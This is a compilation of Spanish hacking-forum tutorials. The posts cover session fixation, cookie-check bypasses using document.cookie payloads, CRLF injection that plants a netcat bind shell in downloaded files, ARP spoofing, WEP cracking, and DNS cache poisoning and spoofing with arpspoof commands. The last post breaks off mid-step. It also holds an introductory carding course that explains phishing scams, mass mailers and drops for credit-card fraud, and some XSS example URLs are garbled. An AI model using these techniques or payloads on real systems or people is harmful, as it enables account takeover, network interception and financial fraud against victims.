Session Fixation - El poderoso desconocido

Bueno, hace tiempo que no escribo nada para el foro y.. estube viendo que nunca aporte nada en defacing. En parte, nunca aporté nada pq no es lo que más me apasiona. Decidí escribir sobre esto pq poco y nada se habla y es una tecnica poderosa... ok, no tanto como sql inject o rfi, pero es muy util a la hora de vulnerar un objetivo concreto saber mas que las 2 tecnicas antes nombradas.

##### desde acá empiezo el texto, los comentarios tontos los pongo con "#" xD

Session Fixation Atacks

By MurdeR - www.thefreeks.com.ar

Session:

Las sesiones no son más que una "asociacion" entre el host y el cliente. Para no tener que estar recordando todo el tiempo la contraseña via html, se utiliza un sistema simple que consiste en asociar una cuenta con un numero "ID" y almacenando por un lado en temp y por otro en las cookies dicha sesion, posterior y constatemente el server comprueba que los numeritos coincidan hasta que finaliza la sesión y se destruye.
Hay muchos ataques destinados a obtener esos hermosos numeros aleatorios, los más comunes son tan simples como la fuerza bruta o la intercepción (via xss normalmente) y los mas complejos, los session fixation.

Session Fixation:

Este ataque consiste en establecer el numero de id antes de que el administrador se identifique, así luego no seria necesario obtenerlo-- pq seria el previamente establecido. Es sencillo, si le vendo una alarma a un señor y yo elijo el codigo, para mi no sería un problema hackearlo :D.. algo similar.
La mecanica del ataque varía según el sistema que utilice la aplicación web objetivo, normalmente es posible encontrarse con campos ocultos en los formularios, cookies o argumentos en la url.
Un ejemplo de una cookie en smf 1.1.2 es el siguiente:

PHPSESSID dac203acc5aeef19708c9ec19984c31e xxxxx.com / at end of session

Obviamente el id es "dac203acc5aeef19708c9ec19984c31e" y teniendo eso cargado en las cookies, tendremos total control de la cuenta.
Analizando un poco el funcionamiento del sistema (de smf..) se puede notar que el numero id se crea y carga como una variable que se pasa al server via url:

www.diosdelared.com/index.php/action=login&PHPSESSID=ads234sfd5dgf19708c9ec19984c345

Si enviaramos ese enlace a zeus, y el se identificara (bueno... y si este foro fuera smf 1.1.2), la sesión se crearía con su numero de ID.
Entonces solo faltaria crear una cuenta en este foro, identificarse, editar las cookies y cambiar el numero ID. Voilá ya estaría defaceado el foro xD.

En el ejemplo el numero se puede predefinir como un argumento en la url, lo cual es muy facil y a la vez muy cantoso. Tambien se puede dar que el id se cargue como un campo hidden en un form, en este caso sería necesario imitar la pagina de logon y alterar dicho campo, algo más complicado y que requiriía (aun más) ingenieria social.
En caso de que la session se cargue directamente en las cookies, es un poco más complicado. Hay (que yo sepa) dos formas de crear una cookie falsa a un cliente:
Via side-script (jscript..) o via el meta tag Set-Cookie. Paso a explicarlos:

Cross side scripting:

Suponiendo que tenemos un sistema que es vulnerable a session fixation y que encontramos una vulnerabilidad de XSS no sería necesario armar un sofisticado y lento proseso para robarle las cookies, podriamos crear una simple linea que creara la session falsa y usarla al instante.
En js tenemos la funcion document.cookie que permite crea numeros de id. Si www.diosdelared.com fuera vulnerable a algun xss solo tendriamos que hacer:

http://www.diosdelared.com/.sda

Conseguir que el administrador entre en esa url y ejecute el script es tan sensillo como enviar un enlace www.thefreeks.com.ar con un iframe a esa url y espera a que este entre :)

Una buena idea sería ponerle una fecha de expiración larga, por ejemplo el año 2099:

http://www.diosdelared.com/.sda

Así tendriamos control de la cuenta robada hasta muy viejos...

HTML Meta Injection:

Con html, la meta tag Set-Cookie tambien nos posibilita crear una sesion:

meta http-equiv=set-Cookie content="sessionid=asdasd123123"

Si tenemos una web que por casualidad es vulnerable a xss pero que tiene controlado el uso de < script > se puede intentar injectar el meta directamente:

http://www.diosdelared.com/< meta http-equiv=set-Cookie content="sessionid=asdasd123123" >.com

De esta forma obtendriamos el mismo resultado que en el caso anterior.


Otras ideas... DNS Poisoning :) mi muy mas que favorito.

Esto da para hacer otro post, es más, quizas lo haga... la idea es lograr penetrar en el server dns, añadir un registro en el dns a por ejemplo www.diosdelared.com que apunte a un servidor del atacante.
Luego poner en dicho servidor una web exactamente identica a la original y que solicite la identifiacion del usuario para luego hacer un redirect a la web original.


Espero haberme explicado con mas o menos claridad. Es un tema complicado y seguramente quedarán dudas. Si metí la pata en algo, diganmelo y lo corrijo.

Salu2 MurdeR^^

Insecure Cookie Handling

Tutorial realizado por InyeXion sobre Insecure Cookie Handling (inseguridad en el manejo de cookies) en realidad lo hizo porque no vio en la red un solo tutorial referencial a esta vulnerabilidad, asi que espera que se entienda y sino cualquier cosa preguntenle! (jajajajajaj)

Insecure Cookie Handling

#Explicación#

Insecure Cookie Handling (inseguridad en el manejo de cookies) esta vulnerabilidad la vemos cada ves mas en sitios de seguridad web(Seguridad en apps webs..), pero hay muchos que todavía no saben de que se trata, no saben como explotarla o no la entienden por diferentes motivos..., espero solventar las dudas que tengan con este tutorial.

Esta vulnerabilidad depende del perfil en la que la veamos puede parecer tonta o ingeniosa. Tonta diría por la forma en la que los programadores administran las cookies para restringir la sección de los usuarios no autorizados, e ingeniosa por la forma que los atacantes burlan la verificación...

Cookies: Las cookies forman parte del protocolo HTTP, este protocolo se usa para intercambiar mensajes entre el servidor y el cliente utilizando solicitudes y respuestas HTTP. El encabezado HTTP reservado para el uso de las cookies se denomina

Set-Cookie. Está compuesto por valores:

Set-Cookie: nombre=valor; domain=nombre de dominio; expires=vencimiento de la cookie; path=ruta donde la cookie sera validada; secure

Ejemplo:

Set-Cookie: admin=1; domain=www.web.com; expires=Friday, 2-Feb-2009 00:00:00 GMT; path=/; secure

Secure: Solo se usa si la cookie es enviada por conexion segura (SSL) y es opcional.

#Explotacion#

La explotación es muy fácil, creo que muchos ya se la están imaginando..., pondremos algunos ejemplos.

if(isset($_COOKIE['admin']) && $_COOKIE['admin'] == 1)
{
echo "Bienvenido a la administración...";

}else{

echo "No estas autorizado";

}
?>


En este caso tendríamos que crear una cookie con el valor 1. Lo haremos en JavaScript pero se puede hacer con un plugin de Firefox o cualquier herramienta, el objetivo es crear la cookie. Entonces ingresaremos en el sitio y previamente ponemos en la barra del navegador...

javascript:document.cookie="admin=1; path=/";


Ahora entramos nuevamente al login y tendrás acceso a la administración en este caso...

Otro ejemplo:
if($_COOKIE['user'] == 1 && $_COOKIE['pass'] == 1)
{
echo "Autorizado";
}else{
echo "No autorizado";
}
?>


Como en el caso anterior entramos a la web e insertamos..

javascript:document.cookie="user=1; path=/"; document.cookie="pass=1; path=/";

Ahí creamos 2 cookies la cual sirven para pasar la verificación. Entramos nuevamente a la web siendo ya autorizado.

Vamos con el ultimo ejemplo:

?

$user = md5(base64_encode("admin"));

if($_COOKIE['usuario'] == $user && $_COOKIE['pass'] == 1)
{
echo "Administración";
}else{
echo "Acceso Incorrecto";
}?>


Bueno hay que explicar unas cositas de este ejemplo, primero tenemos que saber como sacar el nombre del usuario para que posteriormente podamos encriptar primero en base64 y después en md5, como no somos magos como para adivinar el usuario tenemos que usar la lógica... bien puede ser un nombre de usuario por default (como admin, administrador etc..) o sino nos podemos fijar quien postea en la web, en la mayoria de los CMS dice el usuario que posteo. Supongamos que tiene como usuario "admin" (como el script de arriba) entonces encriptamos el usuario para que podamos crear la cookie con ese valor como muestro abajo:

javascript:document.cookie="usuario=db69fc039dcbd2962cb4d28f5891aae1; path=/"; document.cookie="pass=1; path=/";


#Posibles Soluciones#

Podemos utilizar cookies pero manejarlas de la forma correcta para que no puedan bypassear la verificación, con manejarla de la forma correcta me refiero a que no hagan una verificacion estatica, que sea dinamica depende del administrador, ejemplo que en la cookie guarde un usuario(elejido por el admin previamente) y la contraseña codificadas, entre otras posibilidades...
Tambien podemos combinar verificaciones ejemplo cookies y sessiones, queda a imaginacion de uno de como armar la verificacion siempre y cuando este seguro que la verificación sea segura...


#Links#:

https://addons.mozilla.org/addon/3829 <-- Live HTTP Headers 0.14
https://addons.mozilla.org/es-ES/firefox/addon/573 <-- Add N Edit Cookies 0.2.1.3



Autor: InyeXion
Web: Www.inyexion.net - Www.inyexion.com.ar




PDF - HTML

Saludos! Inyexion :P

CRLF Injections: Infectando descargas

Documentandome un poco acerca de las CRLF Injections y de HTTP response Splitting, me he topado con un paper del blog de InyeXion (http://inyexion.com.ar/?num=113) que habla acerca de cómo infectar descargas usando esta técnica, aquí os la explico brevemente (recomiendo hechar un ojo al paper de InyeXion)


Un código PHP vulnerable a Source Code Disclosure, debido a que permite la descarga de cualquier tipo de archivo, puede convertirse en un vector de ataque para poder intrusear a una víctima. Tenemos un PHP como este:

header(”Content-Type: application/octet-stream”); header(”Content-Disposition: attachment; filename=”.$_REQUEST[”file”]);


Existen una serie de caracteres que HTTP utiliza como señales para dar saltos de línea y demás, estos caracteres son CR (carriage return) y LF (Line Feed), cuya representación es 0x0D y 0x0A.

Volviendo al ejemplo anterior en PHP, tendríamos una web para descargarnos archivos tipo www.miweb.com/descargas.php?file= , donde en file= pondríamos el archivo a descargar, véase por ejemplo:

www.miweb.com/descargas.php?file=programa.bat

Ahora bien, si a esa URL, le añadimos dos saltos de línea, el texto que haya acontinuación se transferirá como si fuese el propio código fuente del archivo. Por ejemplo, si añadiésemos %0d%0a%0d%0anc -l -p 57 -e cmd , se produciría el doble salto de linea, haciendo que nuestro archivo programa.bat contenga esas líneas, que lo que hacen es colocar una shell en el puerto 57.


Como podeis ver, esta técnica puede ser ampliable en su uso, y buscarse otros código s a inyectar en otras extensiones... todo lo que hay que tener es imaginación.

HTTP al descubierto (PDF)

################################################################
# Title: HTTP al descubierto #
# Authors: Vengador de las Sombras & Sknight #
# Website: http://0verl0ad.blogspot.com #
# Date: 11-9-2008 #
# Contact: camaleon_18@hotmail.com & Lix.security@gmail.com #
# Maqueteado para Diosdelared by MurdeR
################################################################

[-------------Index-------------]
0x01: Introducción al protocolo HTTP
/.0x01 Estructura de HTTP y sus cabeceras
/.0x02 Metodos HTTP
0x02: Sniffeo y Modificación de Cabeceras
0x03: Inyectando Código
/.0x03 CRLF Injecton: Descargas Infectadas (Introducción al HTTP Splitting)
/.0x04 XSS & SQL injections
/.0x05 PHP injections
0x04: Enumeración a través de HTTP
/.0x06 Sacar información con OPTIONS
/.0x07 Banner Grabbing
/.0x08 Http Fingerprinting
0x05: Contraataques, Evitando la identificación de nuestro servidor
0x06: Ataques con Metodos
/.0x9 Creacion y Borrado de ficheros (PUT y DELETE)
/.0x10 Authorization
0x07: Links de interés & Despedida
[-------------Index-------------]

Link: DESCARGA

Curso CARDING #RE

* * * * * * * * * * * * * * * * * * * * * * * * *
Curso Carding - Primera Parte by Xoptik
Contacto: xoptik@hotmail.es
Tema: Intro Al Carding
* * * * * * * * * * * * * * * * * * * * * * * * *

bueno como andan todos..pues hoy estaba en el colegio aburrido y me surgio una idea...y es la de hacer un taller...curso o como fuking kieran llamarle sobre Carding. Porque un curso sobre esto si ay mucha info???...sencillo ay gente q viene empezando con esto y terminan confundidos leyenddo manuales avanzados o ay scams posteado y se los bajan pero no saben q hacer o tantas cosas. Por eso hoy me decidi a hacer este curso..asi que porfavor cualkier duda , sugerencia o cualkier cosas sientanse libres de agregarme al msn pa dudas etc.... *ACLARO: NO REGALO CCS, MAILERS, MAILIST etc.... si me agregan es pa responderles sus dudas sobre el curso.

Bueno sin mucho blablabla...pues empezamos con la primera parte q consta de :

1- Que Es El Carding
2- Terminos Usados En El Carding

La verdad es bien sencillo..lo voy hacer super entendible pa que todos entiendan...porfavor si me atraso con una parte del curso esperenme...que ando con el colegio y tareas y todo eso...
Bueno pues como decia Russh en sus tutos... "Todo Es de Manera Educativa , No Me Hago Responsable"


Empezamos...xD

Que Es El Carding?
Arte relacionada con el mundo Underground mediante la cual se utilizan ilegalmente números de tarjetas de crédito, con el fin de beneficiarse economicamente, sea bien traspasando dinero directamente, sea tambien realizando compras que serán cargadas a la tarjeta de la víctima.

bueno ya saben q es..ahora pondre los terminos mas usados...ya que en las futuras clases los estare usando y no kiero q esten haciendo spam preguntando:

oye y q son ccs??....copiado???...creo q si..xD

Bueno pues q es lo q se ocupa pa sacar ccs o pa hacer carding...pues la verdad son cosas muy sencillas las que necesitamos y son:

- HostFree o de Paga (Que soporte PHP y tenga Sendmail)
- Scam
- Mailer
- Mailist
- Letter

Que es Un Host?
Bueno es una compañia que aloja tu web ...ai podremos montar el scam

* Host que recomiendo free:
- www.0fees.net
- www.sprinterweb.net

* si alguien recomienda mas pues bienvenido sea tu aporte U_U

Que Es Un Scam?
El scam o fake es el sitio falso donde entraran las victimas por ejemplo montamos un fake de banamex osea clonamos la web de banamex y cuando alguien ponga sus datos en ese fake y nos llegan a un panel de control o a nuestro email, en resumen es un sitio falso de una entidad bancaria u otro.

Que Es Un Mailer?
Es un codigo en php que se sube en un hosting y manda emails en forma masiva, el tiempo y total de emails ke mande dependera de la letter, hosting y el codigo del php ya que luego no manda emails por que el hosting no sirve o no llegan a inbox, por que el codigo no sirve o la letter esta mal, en resumen sirve para mandar emails.

Que Es Una Mailist?
Pues facil....la lista de email q vamos a Spamear.

Que Es Una Letter?
Una letter es el mensaje que le mandamos a las posibles victima por email, osea es el texto que les llega por ejemplo en banamex usaban antes sobre sincronizar su netkey y ellos davan click en las
ligas y los mandaba al fake y ahi ponen sus datos, en resumen es el mensaje que les mandamos a las posibles victimas.

-----Terminos Usados En Carding-----
-CCS=Credit Cards o Tarjetas de Creditos
-Cardear= Comprar Objeto o otra cosa con una CC q no es tuya..xD
-Drop = Persona Que Recoje Tu Paquete Cardeado


bueno esos son algunos terminos no se si se me olvidaron pero bueno esos son los que recuerdo ahorita..xD

Bueno en esta primera parte les hable un poco de teoria y lo basico del carding...es mas o menos para que tengan una idea de lo q se trata todo esto...

porfavor no vengan hablando mamadas diciendo pa que queremos esto si ya sabemos...si lo saben mejor quedense callados...este curso es para la gente que vienen empezando y no saben por donde.


* En La siguiente clases aprenderemos a Crear un Scam Sencillo...y les dare un Pack con Scams , Letters , Mailer

Si Alguien quiere cooperar con el curso bienvenido sean sus comentarios...acepto criticas CONSTRUCTIVAS...

PD: Los terminos usados los saque de Xplotion posteado Por DEvillboy
PD2: Si Postean este curso en otro foro, web , Blog etc...favor dejar autor y web de donde lo cojiste...NO SEAS LAMMER..TODOS PROTESTAN PQ DESAPARESCAN LOS LAMMERS!

[VIDEO] Haciendo ARP Spoofing && Sniffing

En este video veremos como hacer la conocida técnica denomidad MITM (Man In The Middle) en una red local, aplicando ARP spoofing & sniffing, para ver los paquetes capturados.

Recomiendo que lo descarguen y lo vean, es una técnica muy buena.

Download:

* Mirror 1: http://rapidshare.com/files/143493922/ManInTheMiddle.rar.html
* Mirror 2: http://www.zshare.net/download/18373679ac7fb2cc/
* Mirror 3: http://www.megaupload.com/es/?d=UPVOFCMY

Herramientas:

* Wireshark: http://www.wireshark.org/download.html
* Ettercap (win32): https://sourceforge.net/project/showfiles.php?group_id=17435&package_id=130431&release_id=269408
* Ettercap (*Unix): http://ettercap.sourceforge.net/download.php
* Librerías WinPcap: http://www.winpcap.org/

Texto del video:

Buenas a todos, soy Login-Root y hoy vamos a ver como aplicar la tan conocida tecnica denominada "MITM" (Man in the Middle), para ver que informacion esta pasando entre otros dispositivos en una red :P.

En una red LAN y en las comunicaciones router-router (entre redes) se utiliza la direccion MAC (Mac Adress - dirección física) de las placas de red o dispositivos para comunicarse entre si, la cual esta no se "debería" :P repetir en ningún otro dispositivo (cada uno tiene su propia MAC, la cual es única).

Entonces, si un ordenador en una red local con IP 10.0.0.4 se quisiera comunicar con su gateway (router), el cual su IP es 10.0.0.2 (esto el ordenador lo sabe bien gracias a un servidor DHCP o bien por una configuración manual del administrador de la red), debería primero conocer la MAC destino (la de su gateway), y eso como lo obtiene? Bueno, esto lo puede obtener mendiante mensajes llamados "ARP", los cuales se utilizan UNICAMENTE en las redes locales. Entonces, lo que haria la PC con la IP 10.0.0.4 sería enviar un mensaje ARP Broadcast (un mensaje a la IP 10.0.0.255 en este caso, es como hacerle una petición a todas las maquinas de la red) preguntando ?Cuál es la MAC de 10.0.0.2?.

En este caso, 10.0.0.2, respondería diciendo "Hola, yo soy 10.0.0.2 y tengo la MAC "Tal MAC"), y esto 10.0.0.4 lo guarda en una tabla ARP-Cache temporal para no estar preguntando a cada rato.

Aca entra en juego el ARP Spoofing, el cual consiste en, básicamente, lo siguiente:

10.0.0.4 envia mensajes ARP a su víctima 10.0.0.3 diciendole "Yo soy 10.0.0.2 y tengo la MAC: ______ <= MAC ATACANTE), entoncescuando 10.0.0.3 se quiera comunicar con su router 10.0.0.2, en realidad se va a estar comunicando con la PC del atacante, pasando toda la información por ésta, la cual vamos a ver gracias a un bonito sniffer :D.

Tambien se hace obvio la nececidad de falsificar la MAC de la víctima al router, enviandole mensajes ARP cada cierto tiempo diciendo "Yo soy 10.0.0.3 y tengo la MAC: _____ <= MAC ATACANTE), por la cual cuando el router se quiera comunicar con 10.0.0.3, se estará comunicando realmente con 10.0.0.4 (Atacante).

Esta técnica se llama MITM (Man in the Middle) y se puede realizar con muchos y muy variados programas para distintas plataformas, para distintos usos, etc, de los cuales yo en este caso voy a utilizar Ettercap (Spoofer, el programa que falsifica las MAC, como les estuve diciendo) y el Wireshark (ex Ethereal, vemos los paquetes nuestros y los de nuestra victima).

Basta de tanta cháchara y vamos a ver como hacerlo :D.


Primero vamos a abrir el Ettercap

Libro [construccion de antenas caseras]

The Jolly Rogers Underground PVC, Antena Pirata Wifi, Manual Experimental de Construcción de Antenas WIFI de forma Profesional en PVC


Datos Técnicos
The Jolly Rogers Underground PVC, Antena Pirata Wifi, Manual Experimental de Construcción de Antenas WIFI de forma Profesional en PVC
PDF | Spanish | 31 de Julio de 2007 | Norbert R. Ibañez | 61 Paginas | España | 2.84 MB | Modificado 31-MARZO-2008

Descripción
Este manual de Referencia de construcción Rápida de las antenas WIFI en PVC The Jolly Rogers, concentra el Conocimiento Profesional aprendido con la Experiencia Obtenida, en el 2007. Trata sobre los Problemas Especiales; el diseño personal y Construccion de Antenas WIFI de forma Profesional en PVC, y se publica para asegurar el aprendizaje y diseminación de información útil que no ha sido jamás publicada hasta ahora en los manuales existentes de Telecomunicaciones. La Serie Jolly Rogers es una categoría Especial de publicación Experimental; que recoge la información, algunos progresos y la experiencia de trabajos sobre Antenas WIFI que he hecho en la construcción de Antenas.

Nota
Siempre que alguien escribe un texto, o un libro, o un manual, que no puede considerarse como “Oficial”, especialmente en estados Unidos, y Reino Unido, en el mundo del Underground se le aplica la clasificación de Jolly Rogers en analogía a que se trata de un trabajo o un material que no respeta las reglas oficiales convencionales. Un trabajo clasificado como Jolly Rogers es una forma de publicación que exhibe o anuncia la intención de que contiene técnicas clandestinas o ideas no oficiales.


Enlaces:

Descarga de Uploaded.to

FileFactory

Fuente: http://www.intercambiosvirtuales.org/search/label/Libros%20-%20Manuales

Crackear una WEP para dummies

Bueno pues este es un mini manual de como crackear la wep, pero la unica direfencia que existe en este es que NO NESECITAS TENER NINGUN CONOCIMIENTO PREVIo, he de mencionar que varios "compañeros" de este foro han hecho MANUALES DE CALIDAD, mas si en cambio esta es solo otra alternativa...

Bueno primero descargaremos un live-cd linux, en este caso backtrack de la siguiente direccion:
http://www.remote-exploit.org/cgi-bin/fileget?version=bt3-cd

Una vez quemada la imagen boteamos nuestro pc, y una vez dentro de Backtrack, abrimos una consola y escribimos:

wesside-ng -i wlan0

donde wlan0 representa el nombre de tu interfaz wireless.

Este comando hace todo automatico por ti, tu NO TIENES QUE HACER NADA, solo esperar la clave, y lo mejor de todo es lo que encuentre a su alrededor

http://img355.imageshack.us/img355/4945/easyuseod3zk2.png

DNS Poison & Spoof by MurdeR

----------------------------------------
~= DNS Poison & Spoof by MurdeR =~
----------------------------------------
Para el foro: www.diosdelared.com
----------------------------------------
"La potencia sin control no sirve de nada"
----------------------------------------

~~~~~~~~~~~~~~~~~~~~~~~~~~
Intro:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Muchos me han preguntado que es en realidad el DNS Poisoning, si editar el hosts de windows es envenenar los dns, y la gran mayoría ha admitido no saber bien que es y en qué consiste esta tecnica.

Entre la diversidad de ataques orientados a suplantar una IP de un dominio por otra, la gran mayoría apuntan directamente al DNS server. Como ya sabrán el DNS Server es el ecargado de traducir los dominios a IPs o viceversa, por lo tanto si podemos suplantar o evenenar el dns server primario de una maquina, tendremos total control sobre lo que dicha maquina ve como resultado a su petición.

La utilidad de suplantar o envenenar un dns server puede ser muy variada, puede servir para robar datos de login y así poder controlar el panel de administración de la "victima", puede servir para robar datos sensibles y así conseguir dinerito extra, puede servir para muchisimas cosas y en todos los casos cosas malas xD

La diferencia principal entre el DNS Poisoning y la sustitución de dns en la "victima" es que NO necesitamos utilizar un virus para infectar la maquina "victima" y así nos evitamos las complicaciones de la ingeniería social, los antivirus, programar un code, etc.

Ya que el pete de reberto se niega a aprender-.- les hago un tuto intentando explicar bien que es y como efecutar DNS Caché Poison y DNS ID Spoof.
Aclaro que esto no es una guía paso a paso de como efectuar el ataque, si diré cuales son las herramientas y cual es el metodo del ataque, pero ustedes mismos deberán aprender a usar las herramientas y a efectuar el ataque.

~~~~~~~~~~~~~~~~~~~~~~~~~~
Funcionamiento de los DNS Servers:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Primero y muy importante es comprender como funcionan los servidores de DNS y para esto no queda otra que la teoría, la cual haré lo más amena posible con ejemplos tontos de los mios Lengua

-DE DOMINIO A IP-
Como sabran en internet todas las maquinas conectadas se comunican entre ellas por la IP, es obvio esto pero es importante tenerlo claro. Cuando escribimos en el navegador www.google.com, nuestra maquina le pedirá a nuestro DNS Server (el que seguramente nos proporciona el ISP) la IP de google.com, este al no saber cual es la IP (pq no puede almacenar todas las IPS de todos los dominios), "leerá" la configuración de google.com y de allí obtendrá cual es el DNS server responsable de dicho dominio (similar a cuando hacemos un whois), en segundo paso contactará a dicho server y le preguntará cual es la IP de google.com, al recibir respuesta nos conectaremos directamente a la IP.

[Pepe] --> cual es la ip de google? --> [DNS de Pepe]
[DNS de Pepe] --> cual es el dns server de google.com --> [whois server]
[DNS de Pepe] <-- el server de google.com es "[DNS de google.com]" <-- [whois server]
[DNS de Pepe] --> cual es la ip de google? --> [DNS de google.com]
[DNS de Pepe] <-- la ip de google es 64.x.x.x <-- [DNS de google.com]
[Pepe] <-- la ip de google es 64.x.x.x <-- [DNS de Pepe]
[Pepe] --> mostrame google.com --> [64.x.x.x]
[Pepe] <-- tomá google.com <-- [64.x.x.x]

Con ejemplo debería quedar claro como funciona más o menos y sin muchos tecnisismos todo el temita Lengua


-SOBRE LA AUTORIDAD-
Se denomina DNS autoritario a los servidores que tienen "permiso" para resolver directamente (sin preguntarle a otro dns server) determinado dominio. Es importante saber esto pq si hacemos un DNS trucho que se crea autoritario y que responda por el dominio a "atacar" o bien spoofeamos unas cabeceras para atender una respuesta que le hicieron a otro server podremos suplantar a dicho dominio.
El DNS trucho autoritario es el que se usa normalmente en la tecnica "True poison" que en realidad no es más que la suplantación mediante virus del dns server de una maquina concreta.


-SOBRE LA CACHÉ-

Para no estar haciendo todo el lio anteriormente explicado, ya que pepe y muchisimas otras personas visitan con frecuencia google.com, el dns de pepe tiene una cosita que se llama caché, que es una especie de base de datos propia en la que puede guardar las ips a las que apuntan determinados dominios, esta caché está configurada para actualizarce cada determinado tiempo.. en algunos servidores cada media hora, en otros cada 12 horas y en otros cada 24 horas... incluso más.
Ya se van haciendo una idea de como va el caché poisoning, si nos topamos con que determinado dns no tiene almacenado nada relativo a un dominio en concreto y conseguimos engañarlo... tendremos un buen margen de tiempo envenenada la caché con una resolución falsa Lengua

-SOBRE EL ZONE TRANSFER-

Otra cosa importante que hay que saber es que es y para que sirve el Zone Transfer, basicamente el zone transfer consiste en que cuando un server le pregunta a otro, que es se supone autoridad de determinado dominio, cual es la ip de ese determinado dominio el segundo le devolverá la ip de ese dominio más un monton de otros dominios de los cuales es autoridad, de esta forma quedan almacenado en la caché del primero todos los dominios de los que el segundo es autoridad. Ya es liante así explicado, mejor veamoslo en el ejemplo de pepe, centrmonos en lo remarcado en negrita:

[Pepe] --> cual es la ip de google? --> [DNS de Pepe]
[DNS de Pepe] --> cual es el dns server de google.com --> [whois server]
[DNS de Pepe] <-- el server de google.com es "[DNS de google.com]" <-- [whois server]
[DNS de Pepe] --> cual es la ip de google? --> [DNS de google.com]
[DNS de Pepe] <-- la ip de google es 64.x.x.x & la ip de google.es es 65.x.x.x & la ip de google.uk es 67.x.x.x<-- [DNS de google.com]
[Pepe] <-- la ip de google es 64.x.x.x <-- [DNS de Pepe]
[Pepe] --> mostrame google.com --> [64.x.x.x]
[Pepe] <-- tomá google.com <-- [64.x.x.x]

Como verán el dns de pepe solo preguntó por la ip de google.com, sin embargo el dns de google le respondio con la ip de google.com y de todos los demás dominios sobre los que es autoridad. Automaticamente el dns de pepe guardará esos datos en su caché por si alguien le pregunta por ellos.


~~~~~~~~~~~~~~~~~~~~~~~~~~
1º Ataque: DNS Caché Poison
~~~~~~~~~~~~~~~~~~~~~~~~~~

Recordando la teoría sobre el caché y el zone transfer paso directamente a explicar un ataque con el ejemplo de Pepe y su enemigo un hacker malo llamado Zer0 z0orG xD

Zer0 z0orG que se lleva muy mal con pepe decide ownearle su correo electronico gmail para despues robarle su dominio y borrarle la página.. primero intenta enviandole un troyano pero no cuela pq pepe usa nod32 full update Lengua
Entonces Zer0 z0orG decide sacar a relucir sus amplios conocimientos de juanking y efecutar un ataque directo al dns server de Pepe. Para el que pregunte como carajo sabe cual es el dns server de pepe... sabe que pepe usa telefonica como isp y telefonica solo tiene 2 dns servers uno primario y uno secundario para sus clientes.

Requisitos para el ataque:
Un servidor dedicado (su pc pedorro con debian instalado).
Un dominio (hackermalo.com).
Un dns server instalado en el dedicado (bind9).


Primer paso: -Configurar un dominio-
Para que funcione este ataque Zer0 z0orG necesita configurar su dominio para que tenga como autoridad al dns server que instalará en su servidor.
Para ello simplemente se va a godaddy.com (donde compró el dominio) y en DNS Configuration cambia la IP del dns primario por la de su servidor.

Segundo paso: -Instalar y hackear el DNS Server-
El siguiente paso es hacer un apt-get install bind9 y "hackearlo", digo hackearlo pq el tiene que configurar las zonas del dns server recien instalado de modo que se sepa autoridad sobre hackermalo.com, eso es logico, pero además debe configurar un zone para gmail.com y debe también hacer que se "crea" autoridad sobre dicho dominio.
Para el que no tenga ni idea de como va este tema, busquen un tuto sobre configuración de bind Lengua

Tecer paso: -Server web y Scam-
Ahora Zer0 hace un scam de gmail.con, lo monta en el htdocs de apache y configura el http.conf para que apunte gmail.com a htdocs/gmail-scam/
*Para el que no sabe que shit es un scam: http://www.diosdelared.com/index.php?topic=1451.0

Ultimo paso: -El ataque!-
Ahora Zer0 z0orG entra en su laptop con Windows Vista Home Edition y configura las conexiones de red modificando la parte de DNS Server y mete como primario a "[DNS de pepe]".
Una vez hecho lo anterior lo unico que resta es entrar a hackermalo.com y esperar que la magia suceda.


Y que sucede?

[Zer0 z0orG] --> cual es la ip de hackermalo.com? --> [DNS de Pepe]
[DNS de Pepe] --> cual es el dns server de hackermalo.com --> [whois server]
[DNS de Pepe] <-- el server de hackermalo.com es "[DNS de Zer0 z0orG]" <-- [whois server]
[DNS de Pepe] --> cual es la ip de hackermalo.com? --> [DNS de Zer0 z0orG]
[DNS de Pepe] <-- la ip de hackermalo.com es 192.x.x.x & la ip de gmail.com es 192.x.x.x<-- [DNS de Zer0 z0orG]
[Zer0 z0orG] <-- la ip de hackermalo.com es192.x.x.x <-- [DNS de Zer0 z0orG]
[Zer0 z0orG] --> mostrame hackermalo.com --> [192.x.x.x]
[Zer0 z0orG] <-- tomá hackermalo.com <-- [192.x.x.x]

¡¡¡CACHé ENVENENADA!!! (en teoría si es vulnerable Lengua)

Y minutos más tarde...


[Pepe] --> cual es la ip de gmail.com? --> [DNS de Pepe]
[DNS de Pepe] mira en su caché y encuentra gmail, obviamente con la IP falsa que le devolvió el [DNS de Zer0 z0orG]
[Pepe] <-- la ip de gmail.com es 192.x.x.x <-- [DNS de Pepe]
[Pepe] --> mostrame gmail.com --> [192.x.x.x]
[Pepe] <-- tomá scam de gmail !! OWNED <-- [192.x.x.x]

~~~~~~~~~~~~~~~~~~~~~~~~~~
Ataque 2: DNS ID Spoofing
~~~~~~~~~~~~~~~~~~~~~~~~~~
En caso de que estemos en la misma red local que [Pepe] o que el [DNS de Pepe] no es necesario realmente armar todo el bardo, es suficiente con efectuar un man in the middle y ponerse a spoofear. No transmitir los mensajes desde el dns de pepe o bien el dns autoritario le envien a pepe o al dns de pepe y falsearlos..

Antes de seguir deben saber efectuar un man in the middle y spoofear paquetes, por suerte MurdeR ya habló de eso en los siguientes posts:
http://www.diosdelared.com/index.php/topic,176.0.html -> Arp Spoof
http://www.diosdelared.com/index.php?topic=9126.0 -> Sniffing + Spoofing de Redes

Volvemos al ejemplo de Pepe y Zer0 z0orG para que resulte mas sencillo:

Zer0 z0orG no pudo ownearse el DNS con su tecnica anterior pq estaba parcheado y no se owneó el mail de Pepe, entonces aprovecha que tiene control sobre un server que está en la misma red local que el [DNS de Pepe] para intentar hacer un Man in The Middle y envenenar a mano la caché! (Zer0 es bien leet eh :O)

Requisitos:
- Acceso y control total (/root) de una maquina en la red local
- hping2 (incluye en teoría arpspoof)

Primer paso:
Zer0 envenena la ARP haciendole creer al [Router] que el [PC OWNED] es en realidad [DNS de Pepe] y haciendole creer a [DNS de Pepe] que el [PC OWNED] es el [Router]:

Activa el forwarding para que todo lo que pase por [PC OWNED] sea retrasmitido automáticamente a su verdadero destinatario:
Citar
[root@PC OWNED Zer0]# echo 1 > /proc/sys/net/ipv4/ip_forward

Y procede a envenenar el ARP:

Citar
[root@PC OWNED Zer0]# arpspoof -t [Router] [DNS de Pepe]
arp reply [DNS de Pepe] is-at [PC OWNED]
arp reply [DNS de Pepe] is-at [PC OWNED]

Citar
[root@PC OWNED Zer0]# arpspoof -t [PC OWNED] [Router]
arp reply [Router] is-at [PC OWNED]
arp reply [Router] is-at [PC OWNED]

